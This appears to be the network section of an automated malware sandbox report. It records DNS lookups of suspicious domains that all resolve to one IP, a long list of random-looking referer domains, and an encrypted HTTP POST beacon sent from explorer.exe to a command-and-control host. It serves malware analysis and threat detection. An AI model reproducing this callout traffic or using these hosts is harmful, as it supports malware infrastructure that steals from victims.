Dec 1, 2021 10:05:00.451920033 CET	53	64610	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:00.628663063 CET	51989	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:00.648046017 CET	53	51989	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:00.821759939 CET	53152	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:01.143867016 CET	53	53152	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:01.369626999 CET	61590	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:01.388787031 CET	53	61590	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:01.566164017 CET	56077	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:01.583864927 CET	53	56077	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:06.517087936 CET	57951	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:06.536447048 CET	53	57951	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:06.716141939 CET	53276	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:06.735825062 CET	53	53276	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:06.926642895 CET	60135	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:06.946532965 CET	53	60135	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:07.128762960 CET	49849	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:07.148842096 CET	53	49849	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:07.336436033 CET	60253	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:07.356832981 CET	53	60253	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:07.538578987 CET	58706	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:07.561150074 CET	53	58706	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:07.770040035 CET	62677	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:07.790406942 CET	53	62677	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:07.986479044 CET	62595	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:08.006221056 CET	53	62595	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:08.186501026 CET	51189	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:08.205960989 CET	53	51189	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:08.386497021 CET	49967	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:08.405668020 CET	53	49967	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:08.621098995 CET	51454	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:08.640774012 CET	53	51454	8.8.8.8	192.168.2.3
Dec 1, 2021 10:05:51.075542927 CET	56360	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:05:51.098357916 CET	53	56360	8.8.8.8	192.168.2.3
Dec 1, 2021 10:06:00.314538956 CET	49258	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:06:00.418350935 CET	53	49258	8.8.8.8	192.168.2.3
Dec 1, 2021 10:06:05.627151966 CET	56195	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:06:05.667037964 CET	53	56195	8.8.8.8	192.168.2.3
Dec 1, 2021 10:06:06.656199932 CET	53021	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:06:06.675901890 CET	53	53021	8.8.8.8	192.168.2.3
Dec 1, 2021 10:06:12.151945114 CET	52618	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:06:12.252938032 CET	53	52618	8.8.8.8	192.168.2.3
Dec 1, 2021 10:06:15.523608923 CET	51633	53	192.168.2.3	8.8.8.8
Dec 1, 2021 10:06:15.543258905 CET	53	51633	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 1, 2021 10:04:25.959356070 CET	192.168.2.3	8.8.8.8	0x7b71	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:26.163358927 CET	192.168.2.3	8.8.8.8	0x2287	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:26.369580984 CET	192.168.2.3	8.8.8.8	0x8941	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:26.864141941 CET	192.168.2.3	8.8.8.8	0x4870	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:27.051225901 CET	192.168.2.3	8.8.8.8	0xc084	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:27.547131062 CET	192.168.2.3	8.8.8.8	0x2f08	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:28.053071976 CET	192.168.2.3	8.8.8.8	0x2717	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:35.493311882 CET	192.168.2.3	8.8.8.8	0x63ca	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:35.710195065 CET	192.168.2.3	8.8.8.8	0x1b12	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:35.905901909 CET	192.168.2.3	8.8.8.8	0xb7f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:36.097809076 CET	192.168.2.3	8.8.8.8	0xcdc7	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:38.506958008 CET	192.168.2.3	8.8.8.8	0xf1eb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:38.701466084 CET	192.168.2.3	8.8.8.8	0x1f0d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:38.922229052 CET	192.168.2.3	8.8.8.8	0x4f0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.125042915 CET	192.168.2.3	8.8.8.8	0x93d9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.328583956 CET	192.168.2.3	8.8.8.8	0x2b11	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.516851902 CET	192.168.2.3	8.8.8.8	0x7378	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.736749887 CET	192.168.2.3	8.8.8.8	0x90fa	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.933353901 CET	192.168.2.3	8.8.8.8	0x39f4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:40.143012047 CET	192.168.2.3	8.8.8.8	0x8b08	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:40.329806089 CET	192.168.2.3	8.8.8.8	0x51ab	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:40.535372972 CET	192.168.2.3	8.8.8.8	0x10ba	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:43.352863073 CET	192.168.2.3	8.8.8.8	0x5d03	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:43.548263073 CET	192.168.2.3	8.8.8.8	0xf2a2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:43.744683027 CET	192.168.2.3	8.8.8.8	0x4945	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:43.941843033 CET	192.168.2.3	8.8.8.8	0x33ed	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:44.159374952 CET	192.168.2.3	8.8.8.8	0x8d35	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:46.737521887 CET	192.168.2.3	8.8.8.8	0x533e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:46.929688931 CET	192.168.2.3	8.8.8.8	0xd273	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:47.390554905 CET	192.168.2.3	8.8.8.8	0xb33c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:47.583219051 CET	192.168.2.3	8.8.8.8	0x7bcc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:47.824915886 CET	192.168.2.3	8.8.8.8	0xc219	Standard query (0)	privacytoolzforyou-7000.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:51.176265001 CET	192.168.2.3	8.8.8.8	0xb8ad	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:51.469307899 CET	192.168.2.3	8.8.8.8	0x7124	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:51.728334904 CET	192.168.2.3	8.8.8.8	0x3cb3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:52.639209032 CET	192.168.2.3	8.8.8.8	0xf436	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:52.964701891 CET	192.168.2.3	8.8.8.8	0xd5ae	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:53.325989962 CET	192.168.2.3	8.8.8.8	0xf945	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:53.544635057 CET	192.168.2.3	8.8.8.8	0xc7b1	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:59.825092077 CET	192.168.2.3	8.8.8.8	0x66e0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.039277077 CET	192.168.2.3	8.8.8.8	0x8f32	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.154787064 CET	192.168.2.3	8.8.8.8	0xf211	Standard query (0)	file-file-host4.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.240900040 CET	192.168.2.3	8.8.8.8	0x60d0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.432288885 CET	192.168.2.3	8.8.8.8	0x9f03	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.628663063 CET	192.168.2.3	8.8.8.8	0x1c3f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.821759939 CET	192.168.2.3	8.8.8.8	0x2c42	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:01.369626999 CET	192.168.2.3	8.8.8.8	0x9ae6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:01.566164017 CET	192.168.2.3	8.8.8.8	0xf3d8	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:06.517087936 CET	192.168.2.3	8.8.8.8	0xed4e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:06.716141939 CET	192.168.2.3	8.8.8.8	0xa9e8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:06.926642895 CET	192.168.2.3	8.8.8.8	0xe10a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:07.128762960 CET	192.168.2.3	8.8.8.8	0x30c3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:07.336436033 CET	192.168.2.3	8.8.8.8	0x2a02	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:07.538578987 CET	192.168.2.3	8.8.8.8	0x6236	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:07.770040035 CET	192.168.2.3	8.8.8.8	0xde2b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:07.986479044 CET	192.168.2.3	8.8.8.8	0xef5c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:08.186501026 CET	192.168.2.3	8.8.8.8	0x6dba	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:08.386497021 CET	192.168.2.3	8.8.8.8	0x6d22	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:08.621098995 CET	192.168.2.3	8.8.8.8	0x6afb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:51.075542927 CET	192.168.2.3	8.8.8.8	0x817d	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:00.314538956 CET	192.168.2.3	8.8.8.8	0xaf06	Standard query (0)	unic7m.top	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:05.627151966 CET	192.168.2.3	8.8.8.8	0x91b3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:06.656199932 CET	192.168.2.3	8.8.8.8	0x469e	Standard query (0)	unic7m.top	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:12.151945114 CET	192.168.2.3	8.8.8.8	0x9361	Standard query (0)	unic7m.top	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:15.523608923 CET	192.168.2.3	8.8.8.8	0x3998	Standard query (0)	unic7m.top	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 1, 2021 10:04:25.979190111 CET	8.8.8.8	192.168.2.3	0x7b71	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:26.182959080 CET	8.8.8.8	192.168.2.3	0x2287	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:26.691288948 CET	8.8.8.8	192.168.2.3	0x8941	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:26.883865118 CET	8.8.8.8	192.168.2.3	0x4870	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:27.377582073 CET	8.8.8.8	192.168.2.3	0xc084	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:27.877434969 CET	8.8.8.8	192.168.2.3	0x2f08	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:28.359352112 CET	8.8.8.8	192.168.2.3	0x2717	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:35.513070107 CET	8.8.8.8	192.168.2.3	0x63ca	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:35.728220940 CET	8.8.8.8	192.168.2.3	0x1b12	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:35.925709963 CET	8.8.8.8	192.168.2.3	0xb7f	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:36.119568110 CET	8.8.8.8	192.168.2.3	0xcdc7	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:36.119568110 CET	8.8.8.8	192.168.2.3	0xcdc7	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:36.119568110 CET	8.8.8.8	192.168.2.3	0xcdc7	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:36.119568110 CET	8.8.8.8	192.168.2.3	0xcdc7	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:36.119568110 CET	8.8.8.8	192.168.2.3	0xcdc7	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:38.530246019 CET	8.8.8.8	192.168.2.3	0xf1eb	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:38.721179008 CET	8.8.8.8	192.168.2.3	0x1f0d	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:38.942142963 CET	8.8.8.8	192.168.2.3	0x4f0	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.142980099 CET	8.8.8.8	192.168.2.3	0x93d9	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.348180056 CET	8.8.8.8	192.168.2.3	0x2b11	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.536752939 CET	8.8.8.8	192.168.2.3	0x7378	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.756603956 CET	8.8.8.8	192.168.2.3	0x90fa	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:39.950864077 CET	8.8.8.8	192.168.2.3	0x39f4	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:40.162425995 CET	8.8.8.8	192.168.2.3	0x8b08	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:40.349658012 CET	8.8.8.8	192.168.2.3	0x51ab	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:40.823241949 CET	8.8.8.8	192.168.2.3	0x10ba	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:43.372376919 CET	8.8.8.8	192.168.2.3	0x5d03	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:43.567605019 CET	8.8.8.8	192.168.2.3	0xf2a2	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:43.765840054 CET	8.8.8.8	192.168.2.3	0x4945	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:43.961553097 CET	8.8.8.8	192.168.2.3	0x33ed	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:44.461524010 CET	8.8.8.8	192.168.2.3	0x8d35	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:46.757467985 CET	8.8.8.8	192.168.2.3	0x533e	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:47.218033075 CET	8.8.8.8	192.168.2.3	0xd273	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:47.410384893 CET	8.8.8.8	192.168.2.3	0xb33c	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:47.603219032 CET	8.8.8.8	192.168.2.3	0x7bcc	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:47.842392921 CET	8.8.8.8	192.168.2.3	0xc219	No error (0)	privacytoolzforyou-7000.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:51.195394039 CET	8.8.8.8	192.168.2.3	0xb8ad	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:51.489109993 CET	8.8.8.8	192.168.2.3	0x7124	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:51.745596886 CET	8.8.8.8	192.168.2.3	0x3cb3	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:52.658978939 CET	8.8.8.8	192.168.2.3	0xf436	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:52.982064962 CET	8.8.8.8	192.168.2.3	0xd5ae	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:53.345958948 CET	8.8.8.8	192.168.2.3	0xf945	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:53.563703060 CET	8.8.8.8	192.168.2.3	0xc7b1	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:04:59.842444897 CET	8.8.8.8	192.168.2.3	0x66e0	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.059180975 CET	8.8.8.8	192.168.2.3	0x8f32	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.258542061 CET	8.8.8.8	192.168.2.3	0x60d0	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.442418098 CET	8.8.8.8	192.168.2.3	0xf211	No error (0)	file-file-host4.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.451920033 CET	8.8.8.8	192.168.2.3	0x9f03	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:00.648046017 CET	8.8.8.8	192.168.2.3	0x1c3f	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:01.143867016 CET	8.8.8.8	192.168.2.3	0x2c42	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:01.388787031 CET	8.8.8.8	192.168.2.3	0x9ae6	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:01.583864927 CET	8.8.8.8	192.168.2.3	0xf3d8	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:06.536447048 CET	8.8.8.8	192.168.2.3	0xed4e	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:06.735825062 CET	8.8.8.8	192.168.2.3	0xa9e8	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:06.946532965 CET	8.8.8.8	192.168.2.3	0xe10a	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:07.148842096 CET	8.8.8.8	192.168.2.3	0x30c3	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:07.356832981 CET	8.8.8.8	192.168.2.3	0x2a02	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:07.561150074 CET	8.8.8.8	192.168.2.3	0x6236	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:07.790406942 CET	8.8.8.8	192.168.2.3	0xde2b	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:08.006221056 CET	8.8.8.8	192.168.2.3	0xef5c	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:08.205960989 CET	8.8.8.8	192.168.2.3	0x6dba	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:08.405668020 CET	8.8.8.8	192.168.2.3	0x6d22	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:08.640774012 CET	8.8.8.8	192.168.2.3	0x6afb	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:51.098357916 CET	8.8.8.8	192.168.2.3	0x817d	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:51.098357916 CET	8.8.8.8	192.168.2.3	0x817d	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:51.098357916 CET	8.8.8.8	192.168.2.3	0x817d	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:51.098357916 CET	8.8.8.8	192.168.2.3	0x817d	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:05:51.098357916 CET	8.8.8.8	192.168.2.3	0x817d	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:00.418350935 CET	8.8.8.8	192.168.2.3	0xaf06	Name error (3)	unic7m.top	none	none	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:05.667037964 CET	8.8.8.8	192.168.2.3	0x91b3	No error (0)	www.google.com		142.250.184.100	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:06.675901890 CET	8.8.8.8	192.168.2.3	0x469e	Name error (3)	unic7m.top	none	none	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:12.252938032 CET	8.8.8.8	192.168.2.3	0x9361	Name error (3)	unic7m.top	none	none	A (IP address)	IN (0x0001)
Dec 1, 2021 10:06:15.543258905 CET	8.8.8.8	192.168.2.3	0x3998	Name error (3)	unic7m.top	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

yubswhv.net

host-data-coin-11.com

jmuwhyhn.net

piyyyphtem.net

llalic.com

higvbe.net

nvrwtjsdku.com

host-file-host-3.com

mojyvpeoe.com

yaoomuahu.net

dgpnslqhh.com

gbbxygekjk.com

namawqf.com

smpro.com

ieqswdu.net

vneyujlfl.net

viqgctnic.net

xpkskgrr.net

kdyponywr.net

rxdwffwjbf.com

molwdgi.net

gghke.net

dpsjrby.org

mlwynhpbb.org

njupmvh.com

mjghwr.org

unuta.org

fucabofxh.net

guasgjf.org

privacytoolzforyou-7000.com

bfwtp.org

pubplnqymd.org

xwkfccuhh.com

vndygv.com

wyjxomh.net

mdthdprqu.com

qpiidyh.net

mgjqknucl.net

ehiesag.net

eyepuy.net

file-file-host4.com

lqyvwperx.org

omcxl.net

vhude.com

rxjdalrcm.com

wxhnpjysno.com

tiketfrip.net

srvivkc.org

jjguoq.net

ysemel.net

dagsykb.org

owgeqjie.net

rvwnoilj.net

ggqrkginit.org

vutak.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49759	162.159.135.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49749	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:26.041062117 CET	1096	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yubswhv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: host-data-coin-11.com
Dec 1, 2021 10:04:26.041090965 CET	1096	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 4e c5 bc 6c Data Ascii: o:@ACFkUwmDu$f]dNl#i;sZkzFJ0_ kP^pP'^r3W\|M f#NJkL>R#$P!U[1t#bOMlq'Pt![^_VVEvO\|=Y\|-I%D-RD
Dec 1, 2021 10:04:26.148890972 CET	1097	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 1b b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49758	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
